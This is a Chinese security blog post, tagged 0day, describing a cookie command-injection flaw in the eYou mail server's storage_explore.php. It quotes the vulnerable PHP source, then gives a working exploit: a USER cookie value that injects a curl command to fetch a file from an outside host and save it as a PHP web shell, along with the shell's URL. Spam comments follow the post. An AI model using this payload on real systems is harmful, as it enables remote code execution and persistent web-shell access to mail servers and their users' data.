『河马』eyou Storage_explore.php Cookie命令注入漏洞利用工具


文件/user/storage_explort.php
<?php
/**
* 用户网络存储列表
*
* 该页面显示登录邮箱用户的网络存储文件列表,选择后添加到邮件的附件中。
*
* @author FengHui <fenghui@eyou.net>
* @copyright 2008 eYou.net
* @version storage_explore.php 2008/05/19
*/
require_once('/var/eyou/apache/htdocs/config.php');
require_once(PATH.'inc/function.php');
require_once(PATH.'inc/libeyou.php');
require_once(PATH.'inc/operate.php');

$skin               = getCookieUserValue('SKIN');
$uid                = getCookieUserValue('UID');
$domain             = getCookieUserValue('DOMAIN');
$user_dir_path      = getUserDirPath($uid, $domain);
$storage_index_path = $user_dir_path.'/storage/Index/';
$storage_data_path  = $user_dir_path.'/storage/Data/';
$userinfo = get_userinfo($uid , $domain);

// 获取用户允许上传的最大附件大小
$attachsize = (int)($userinfo['attachsize'][0]);

$is_submit = $_POST['is_submit'] ? true : false;
?>
跟进getCookieUserValue函数:

function getCookieUserValue($key) {
    $user_arr = explode('&', cookie('USER'));
    $n = count($user_arr);
    for ($i = 0; $i < $n; $i++) {
        $g_arr = explode('=', $user_arr[$i]);
        if ($g_arr[0] == $key) {
            return $g_arr[1];
        }
    }
    return null;
}

跟进cookie函数:
function cookie($name){
    if (array_key_exists($name, $_COOKIE)) return $_COOKIE[$name];
       return '';

整个过程没有对cookie 进行过滤

直接就取那个cookie中USER的值取出来,然后进入了getUserDirPath函数

来看看getUserDirPath函数:

/**
* 获取用户目录的路径
*
* @param string $uid
* @param string $domain
*/
function getUserDirPath($uid, $domain) {
    $cmd = "/var/eyou/sbin/hashid $uid $domain";
    echo $cmd;
    $path = `$cmd`;
    $path = trim($path);
    return $path;
}

uid和domain直接进入了命令,导致命令执行。



漏洞利用:

将cookie设置为:

USER=UID=1|curl isafe.cc" target="_blank">isafe.cc:8080/test.txt" target="_blank">http://www.isafe.cc" target="_blank">isafe.cc:8080/test.txt>>www.isafe.cc" target="_blank">isafe.cc.php
然后访问localhost/user/storage_explore.php
此时会在localhost/user/下生成www.isafe.cc" target="_blank">isafe.cc.php文件

shell地址为:

localhost/user/www.isafe.cc" target="_blank">isafe.cc.php
只允许会员下载 该文件只允许会员下载! 登录 | 注册

[本日志由 admin 于 2017-10-14 07:51 PM 编辑]
文章来自: 本站原创
引用通告: 查看所有引用 | 我要引用此文章
Tags: 0day
评论: 167 | 引用: 0 | 查看次数: 14289
Zora [2015-06-03 10:35 PM]
Thank you! It is an very good website!
Christoper [2015-06-03 06:38 AM]
Maintain the awesome work !! Lovin' it!
Ladonna [2015-05-31 08:09 AM]
This means that every time you switch on the TV, pick up a book, play a CD or open a cupboard you can say out-loud the word written on the object.
If you are the kind of person who is not active in showing love, start doing so and you do not have to write a love letter. Bottomline - there will always be something you don't understand about your partner.

Stop by my webpage :: wood
Dwayne [2015-05-28 02:02 AM]
Your data is incredibly intriguing.
Darryl [2015-05-25 04:10 AM]
Whenever an irresistible force and an immovable object meet sparks can fly and ignite the passions within. or just sit with the images for a while and use your power of imagination to create some playful stories around it.
Remember that your written communication is an introduction or a supplement to you.

Look at my blog post ... synonyms for abderian
Mona [2015-05-24 01:46 PM]
The other term for fear of public speaking is Glosophobia.
You could spend a lifetime learning each of these values and incorporating these into your life and it would be well worth the effort. The people around us will be our containers; we look to them for understanding.

Also visit my webpage ... synonyms for abeyance
Hunter [2015-05-21 09:31 AM]
One of the most important tips for all parents to remember is patience.
or just sit with the images for a while and use your power of imagination to create some playful stories around it. Remember that your written communication is an introduction or a supplement to you.

Take a look at my page :: affidavit of explanation for lost passport philippines
Alexander [2015-05-21 02:11 AM]
This means that every time you switch on the TV, pick up a book, play a CD or open a cupboard you can say out-loud the word written on the object.
You could spend a lifetime learning each of these values and incorporating these into your life and it would be well worth the effort. Bottomline - there will always be something you don't understand about your partner.

Stop by my web-site ... synonyms for abdominals
Gaye [2015-04-22 07:59 AM]
Without а question, once you have a sօurce of electricity, yօu shօuld be able to find some way to cօnvert it to heat for cooking.
A multi fuel stove is made of steel oг cast iron body. In addition, you will save money on your utility bill.

Ϻy homepage; pellet stove accessories
Tosha [2015-04-21 00:58 AM]
You can either opt for two dօors withоut or with Tudor Rose crоsses, or flat top high canopy or loԝ canopy, plain air spinneгs, single Ԁoor with Tudor Rߋse and four paint colors.

It dгaws air into tɦe stove ɑnd passes it over the glasѕ to pгevent blaϲking up. Remember each fuel has its ߋwn characteriѕtics, wood for instance աhen burneԀ giνes out carbon.

Also visit my blog; towne stove and spirits menu
发表评论
昵 称:
密 码: 游客发言不需要密码.
验证码: 验证码
内 容:
选 项:
虽然发表评论不用注册,但是为了保护您的发言权,建议您注册帐号.
字数限制 1000 字 | UBB代码 开启 | [img]标签 关闭